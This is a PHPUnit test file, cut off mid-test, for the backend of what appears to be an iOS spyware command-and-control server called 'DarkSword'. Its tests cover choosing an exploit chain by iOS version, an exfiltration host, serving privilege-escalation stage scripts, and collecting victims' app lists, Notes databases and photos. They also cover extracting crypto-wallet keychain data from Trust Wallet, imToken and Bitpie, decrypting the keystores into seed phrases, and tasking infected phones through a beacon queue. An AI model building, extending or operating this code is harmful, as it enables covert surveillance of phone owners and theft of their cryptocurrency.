1239 lines
48 KiB
PHP
1239 lines
48 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Device;
|
|
use App\Models\DeviceApp;
|
|
use App\Models\DeviceEvent;
|
|
use App\Models\DsBeaconTask;
|
|
use App\Models\DsChainLog;
|
|
use App\Models\Note;
|
|
use App\Models\PageVisit;
|
|
use App\Models\Photo;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\CorunaCrypto;
|
|
use App\Services\DsBeaconQueue;
|
|
use App\Services\EthKeystore;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Cache;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Redis;
|
|
use Illuminate\Support\Facades\Storage;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class DarkSwordC2ApiTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private const DS_LHU = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
|
|
|
|
private const XXBB_D = '000C30D83CD0402E';
|
|
|
|
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
// Clear Redis-based beacon queue keys between tests.
|
|
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
|
|
// prefix again — so we must strip it before deleting.
|
|
$prefix = config('database.redis.options.prefix', '');
|
|
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
|
|
foreach ($patterns as $pattern) {
|
|
$keys = Redis::keys($pattern);
|
|
if (empty($keys)) {
|
|
continue;
|
|
}
|
|
$stripped = array_map(fn ($k) => $prefix !== '' && str_starts_with($k, $prefix) ? substr($k, strlen($prefix)) : $k, $keys);
|
|
Redis::del(...$stripped);
|
|
}
|
|
}
|
|
|
|
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
|
{
|
|
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
|
|
|
return $this->call('POST', $path, [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_X_TS' => $ts,
|
|
], $enc['body']);
|
|
}
|
|
|
|
#[Test]
|
|
public function log_post_returns_accepted(): void
|
|
{
|
|
$this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd'])
|
|
->assertOk()
|
|
->assertExactJson(['status' => 'accepted']);
|
|
$this->assertSame(0, DsChainLog::query()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function log_with_stage_skips_db(): void
|
|
{
|
|
$payload = [
|
|
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
|
'stage' => 'loader',
|
|
'progress' => 18,
|
|
'label' => 'loader',
|
|
'channelCode' => 'BODOZR5F613N9',
|
|
];
|
|
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
|
|
$this->postJson('/api/ds/log', $payload)->assertOk();
|
|
|
|
$this->assertSame(0, DsChainLog::query()->count());
|
|
$this->assertSame(0, Device::query()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function log_text_skips_db_even_when_stage_can_be_inferred(): void
|
|
{
|
|
$this->postJson('/api/ds/log', [
|
|
'text' => 'malloc ok 0x1234',
|
|
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
|
])->assertOk();
|
|
$this->postJson('/api/ds/log', [
|
|
'text' => 'pe_main_start',
|
|
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
|
])->assertOk();
|
|
|
|
$this->assertSame(0, DsChainLog::query()->count());
|
|
$this->assertSame(0, Device::query()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function next_chain_does_not_steal_ds_api_or_logs(): void
|
|
{
|
|
$this->getJson('/api/ds/chain-targets?ios=18.6')
|
|
->assertOk()
|
|
->assertJson([
|
|
'ok' => true,
|
|
'chain' => 'darksword',
|
|
])
|
|
->assertJsonPath('exfil.prefer_https', false)
|
|
->assertJsonPath('band.usable_for_attempt', true);
|
|
|
|
$this->withHeaders([
|
|
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
|
|
'X-Forwarded-Port' => '443',
|
|
])->getJson('/api/ds/chain-targets?ios=18.5')
|
|
->assertOk()
|
|
->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu')
|
|
->assertJsonPath('exfil.tls', true)
|
|
->assertJsonPath('exfil.prefer_https', true)
|
|
->assertJsonPath('exfil.https_port', 443);
|
|
|
|
$this->get('/api/ds/log?text=lab')
|
|
->assertOk()
|
|
->assertSee('ok', false);
|
|
|
|
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
$this->getJson('/api/ds/chain-targets?ios=18.1.1')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
$this->getJson('/api/ds/chain-targets?ios=18.4')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
$this->getJson('/api/ds/chain-targets?ios=18.4.1')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
$this->getJson('/api/ds/chain-targets?ios=18.7')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
$this->getJson('/api/ds/chain-targets?ios=18.7.1')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
$this->getJson('/api/ds/chain-targets?ios=18.7.2')
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'darksword');
|
|
foreach (['18.2', '18.5.1', '18.6.3', '18.7.3', '17.3'] as $ios) {
|
|
$this->getJson('/api/ds/chain-targets?ios='.$ios)
|
|
->assertOk()
|
|
->assertJsonPath('chain', 'coruna')
|
|
->assertJsonPath('recommended_worker', '')
|
|
->assertJsonPath('band.usable_for_attempt', false);
|
|
}
|
|
|
|
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
|
|
// /log.html is now a valid DarkSword log endpoint (maps to /api/ds/log).
|
|
$this->get('/log.html?text=lab')->assertOk();
|
|
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
|
|
$this->getJson('/next-chain/api/device/register')->assertNotFound();
|
|
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
|
|
}
|
|
|
|
#[Test]
|
|
public function pe_stage_get_writes_file_log_and_chain_row(): void
|
|
{
|
|
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
|
|
->assertOk()
|
|
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
|
|
->assertSee('__peStage1', false);
|
|
$this->assertSame(0, DsChainLog::query()->count());
|
|
|
|
Device::query()->create([
|
|
'device_id' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
|
'album_storage' => true,
|
|
]);
|
|
|
|
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
|
|
->assertOk();
|
|
|
|
$row = DsChainLog::query()->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $row->client_uid);
|
|
$this->assertSame('pe', $row->stage);
|
|
$this->assertSame(86, $row->progress);
|
|
$this->assertSame('pe_stage:s1_launchd', $row->label);
|
|
|
|
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
|
|
->assertOk();
|
|
$this->assertSame(2, DsChainLog::query()->count());
|
|
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
|
|
$this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress);
|
|
|
|
$this->get('/api/ds/pe-stage/s2_keychain')
|
|
->assertOk()
|
|
->assertSee('__peStage2', false);
|
|
$this->assertSame(2, DsChainLog::query()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function plaintext_a_ingests_darksword_device(): void
|
|
{
|
|
$this->postJson('/a', [
|
|
'lhu' => self::DS_LHU,
|
|
'machine' => 'iPhone15,2',
|
|
'ios_version' => '18.6',
|
|
'ip' => '192.168.31.77',
|
|
'source' => 'c2_agent',
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
|
$this->assertSame('iPhone15,2', $device->device_model);
|
|
$this->assertSame('18.6', $device->ios_version);
|
|
$this->assertSame('192.168.31.77', $device->ip);
|
|
$this->assertNull($device->channel_id);
|
|
}
|
|
|
|
#[Test]
|
|
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
|
|
{
|
|
$this->xxbbPost('/a', [
|
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
|
'd' => self::XXBB_D,
|
|
'f' => self::XXBB_D,
|
|
'deviceModel' => 'iPhone',
|
|
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
|
])->assertOk()->assertSee('1786468227899{}', false);
|
|
|
|
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
|
|
$this->assertNotNull($xxbb);
|
|
$this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain);
|
|
|
|
$this->postJson('/a', [
|
|
'lhu' => self::DS_LHU,
|
|
'machine' => 'iPhone15,2',
|
|
'ios_version' => '18.6',
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($ds);
|
|
$this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain);
|
|
$this->assertSame(2, Device::query()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function register_accepts_query_style_channel_code(): void
|
|
{
|
|
$this->postJson('/api/ds/device/register', [
|
|
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
|
'channeICode' => '0.0.01',
|
|
'ios' => '18.6',
|
|
'chain' => 'darksword',
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$visit = PageVisit::query()->first();
|
|
$this->assertNotNull($visit);
|
|
$this->assertSame('0.0.01', $visit->channel_id);
|
|
}
|
|
|
|
#[Test]
|
|
public function register_uses_channel_code_not_ver_header(): void
|
|
{
|
|
$this->postJson('/api/ds/device/register', [
|
|
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
|
'channelCode' => 'BODOZR5F613N9',
|
|
'ios' => '18.6',
|
|
'chain' => 'darksword',
|
|
], [
|
|
'ver' => '3.1.07',
|
|
'sdkv' => '3.1.07',
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$this->assertNull(Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first());
|
|
|
|
$visit = PageVisit::query()->first();
|
|
$this->assertNotNull($visit);
|
|
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $visit->client_uid);
|
|
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
|
|
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
|
|
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
|
|
$this->assertSame('iOS', $visit->os);
|
|
$this->assertSame('18.6', $visit->os_version);
|
|
|
|
$this->postJson('/a', [
|
|
'lhu' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
|
|
'machine' => 'iPhone15,2',
|
|
'ios_version' => '18.6',
|
|
'source' => 'c2_agent',
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
|
$this->assertSame('BODOZR5F613N9', $device->channel_id);
|
|
$this->assertSame('18.6', $device->ios_version);
|
|
}
|
|
|
|
#[Test]
|
|
public function u_writes_device_apps_from_object_or_list(): void
|
|
{
|
|
$this->postJson('/u', [
|
|
'lhu' => self::DS_LHU,
|
|
'apps' => [
|
|
'0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'],
|
|
'1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'],
|
|
],
|
|
'count' => 2,
|
|
'source' => 'c2_agent',
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
|
|
$this->assertTrue(
|
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists()
|
|
);
|
|
$this->assertFalse(
|
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists()
|
|
);
|
|
$this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet);
|
|
$this->assertTrue($device->fresh()->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function nb_writes_notes_and_stores_sqlite_blob(): void
|
|
{
|
|
Storage::fake('local');
|
|
$sqlite = "SQLite format 3\0lab-notes";
|
|
|
|
$this->postJson('/nb', [
|
|
'lhu' => self::DS_LHU,
|
|
'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]],
|
|
'db_files' => [[
|
|
'name' => 'NoteStore.sqlite',
|
|
'data' => base64_encode($sqlite),
|
|
]],
|
|
'source' => 'c2_agent',
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$note = Note::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($note);
|
|
$this->assertSame('jdmdm', $note->content[0]['title'] ?? null);
|
|
Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite');
|
|
$this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'));
|
|
}
|
|
|
|
#[Test]
|
|
public function war_without_mnemonic_stores_keystore_only(): void
|
|
{
|
|
$this->postJson('/war', [
|
|
'lhu' => self::DS_LHU,
|
|
'source' => 'pe_war_guarantee',
|
|
'keychain' => [
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'count' => 1,
|
|
'items' => [[
|
|
'accessGroup' => 'group.com.sixdays.team',
|
|
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
|
|
]],
|
|
],
|
|
],
|
|
'errors' => ['aksUnwrap class=10 kr=3758097090'],
|
|
],
|
|
'sandbox' => [
|
|
'imtoken' => ['keystore.json' => '{"version":3}'],
|
|
],
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
|
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
|
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
|
$this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0));
|
|
$sources = $rows->pluck('source')->all();
|
|
$this->assertContains('Trust Wallet', $sources);
|
|
$this->assertContains('imToken', $sources);
|
|
}
|
|
|
|
#[Test]
|
|
public function war_skips_duplicate_keystore_content(): void
|
|
{
|
|
$payload = [
|
|
'lhu' => self::DS_LHU,
|
|
'source' => 'pe_war_guarantee',
|
|
'keychain' => [
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'count' => 1,
|
|
'items' => [[
|
|
'account' => 'trust_wallet',
|
|
'dataHex' => bin2hex('{"device_uuid":"69DD25B2CA8B5682"}'),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
'sandbox' => [
|
|
'trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}',
|
|
],
|
|
];
|
|
|
|
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
|
|
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
|
$this->assertSame(2, $rows->count());
|
|
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
|
|
}
|
|
|
|
#[Test]
|
|
public function war_collapses_existing_duplicate_sandbox_rows(): void
|
|
{
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
]);
|
|
$raw = [
|
|
'kind' => 'sandbox',
|
|
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
|
];
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => $raw,
|
|
]);
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => $raw,
|
|
]);
|
|
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
|
|
|
$this->postJson('/war', [
|
|
'lhu' => self::DS_LHU,
|
|
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
|
])->assertOk();
|
|
|
|
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
|
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
|
|
}
|
|
|
|
#[Test]
|
|
public function war_twelve_word_phrase_ingests_mnemonic(): void
|
|
{
|
|
$this->postJson('/war', [
|
|
'lhu' => self::DS_LHU,
|
|
'keychain' => [
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'count' => 1,
|
|
'items' => [[
|
|
'accessGroup' => 'group.com.sixdays.team',
|
|
'dataHex' => bin2hex(self::TEST_MNEMONIC),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
'sandbox' => [],
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame(self::TEST_MNEMONIC, $row->mnemonic);
|
|
$this->assertSame('Trust Wallet', $row->source);
|
|
}
|
|
|
|
#[Test]
|
|
public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void
|
|
{
|
|
Http::fake();
|
|
$utc = [
|
|
'crypto' => ['cipher' => 'aes-128-ctr'],
|
|
'activeAccounts' => [
|
|
['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0],
|
|
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60],
|
|
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137],
|
|
['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195],
|
|
['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2],
|
|
['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
|
|
['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0],
|
|
],
|
|
];
|
|
|
|
$this->postJson('/war', [
|
|
'lhu' => self::DS_LHU,
|
|
'sandbox' => [
|
|
'trust_wallet' => [
|
|
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
|
],
|
|
],
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
|
|
$this->assertSame(4, $rows->count());
|
|
$this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all());
|
|
$this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet'));
|
|
$this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count());
|
|
$this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx'));
|
|
$this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x'));
|
|
}
|
|
|
|
#[Test]
|
|
public function war_class10_unwrap_failure_is_not_a_mnemonic(): void
|
|
{
|
|
$this->postJson('/war', [
|
|
'lhu' => self::DS_LHU,
|
|
'keychain' => [
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'count' => 1,
|
|
'items' => [[
|
|
'class' => 10,
|
|
'layer3Error' => 'aks_unwrap kr=3758097090',
|
|
'dataHex' => bin2hex(self::TEST_MNEMONIC),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
|
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
|
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
|
$this->assertSame('Trust Wallet', $ks->source);
|
|
$this->assertSame(0, (int) $ks->decrypted);
|
|
}
|
|
|
|
#[Test]
|
|
public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void
|
|
{
|
|
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
|
$this->assertIsString($password);
|
|
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
|
|
'n' => 16,
|
|
'r' => 8,
|
|
'p' => 1,
|
|
'dklen' => 32,
|
|
'salt' => str_repeat('ab', 32),
|
|
]);
|
|
|
|
$this->postJson('/war', [
|
|
'lhu' => self::DS_LHU,
|
|
'keychain' => [
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'count' => 1,
|
|
'items' => [[
|
|
'account' => 'trustwalletUTC--demo',
|
|
'accessGroup' => 'group.com.sixdays.team',
|
|
'dataHex' => bin2hex($password),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
'sandbox' => [
|
|
'trust_wallet' => [
|
|
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
|
],
|
|
],
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($mnemonic);
|
|
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
|
|
$this->assertSame('Trust Wallet', $mnemonic->source);
|
|
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
|
|
$this->assertGreaterThanOrEqual(1, $rows->count());
|
|
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
|
|
}
|
|
|
|
#[Test]
|
|
public function reprocess_unlocks_trust_utc_already_stored_on_device(): void
|
|
{
|
|
Http::fake();
|
|
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
|
$this->assertIsString($password);
|
|
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
|
|
'n' => 16,
|
|
'r' => 8,
|
|
'p' => 1,
|
|
'dklen' => 32,
|
|
'salt' => str_repeat('cd', 32),
|
|
]);
|
|
$device = Device::query()->create([
|
|
'device_id' => 'reprocess-trust-utc',
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
]);
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => [
|
|
'kind' => 'keychain.wallets',
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'items' => [[
|
|
'account' => 'trustwalletUTC--demo',
|
|
'dataHex' => bin2hex($password),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
]);
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => [
|
|
'kind' => 'sandbox',
|
|
'sandbox' => [
|
|
'trust_wallet' => [
|
|
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
|
],
|
|
],
|
|
],
|
|
]);
|
|
|
|
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
|
|
|
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($mnemonic);
|
|
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
|
|
$this->assertTrue(
|
|
WalletKeystore::query()->where('device_id', $device->id)->get()
|
|
->contains(fn ($row) => (int) $row->decrypted === 1)
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
|
|
{
|
|
Http::fake();
|
|
$entropy = '00000000000000000000000000000000';
|
|
$trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0);
|
|
|
|
$this->postJson('/war', [
|
|
'lhu' => self::DS_LHU,
|
|
'keychain' => [
|
|
'wallets' => [
|
|
'bitpie' => [
|
|
'count' => 2,
|
|
'items' => [
|
|
[
|
|
'account' => 'seedPhraseEntropy',
|
|
'service' => 'com.bitpie.wallet',
|
|
'dataHex' => bin2hex(strtoupper($entropy)),
|
|
],
|
|
[
|
|
'account' => 'userAddressKey',
|
|
'service' => 'com.bitpie.wallet',
|
|
'dataHex' => bin2hex($trx),
|
|
],
|
|
],
|
|
],
|
|
],
|
|
],
|
|
'sandbox' => [
|
|
'bitpie' => [
|
|
'Library/Preferences/com.bitpie.wallet.plist' => base64_encode(
|
|
'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]'
|
|
),
|
|
],
|
|
],
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
$this->assertNotNull($device);
|
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first();
|
|
$this->assertNotNull($mnemonic);
|
|
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
|
|
$this->assertTrue(
|
|
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get()
|
|
->contains(fn ($row) => (int) $row->decrypted === 1)
|
|
);
|
|
$addr = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', $trx)
|
|
->where('source', 'Bitpie')
|
|
->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('TRON', $addr->chain_type);
|
|
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
|
}
|
|
|
|
#[Test]
|
|
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
|
{
|
|
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
|
|
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
|
|
$uuid = self::DS_LHU;
|
|
|
|
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
|
$forgetThrottle = function () use ($uuid): void {
|
|
$device = Device::query()->where('device_id', $uuid)->first();
|
|
if ($device) {
|
|
Redis::del('ds:qt:'.$device->id);
|
|
}
|
|
};
|
|
|
|
// First dispatch -> photos (first in FIFO from seed).
|
|
$r1 = $this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
'ios' => '18.6',
|
|
])->assertOk()->assertJson([
|
|
'ok' => true,
|
|
'type' => 'photos',
|
|
'uuid' => $uuid,
|
|
]);
|
|
$id1 = $r1->json('command_id');
|
|
$this->assertNotEmpty($id1);
|
|
|
|
// Same IP within 5s -> noop (throttled).
|
|
$this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
|
|
|
|
// After the 5s gap -> wallet_scan (second in FIFO).
|
|
$forgetThrottle();
|
|
$r2 = $this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
|
$id2 = $r2->json('command_id');
|
|
$this->assertNotEmpty($id2);
|
|
$this->assertNotSame($id1, $id2);
|
|
|
|
// Within 5s again -> noop.
|
|
$this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'noop']);
|
|
|
|
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
|
|
$forgetThrottle();
|
|
$this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'noop']);
|
|
|
|
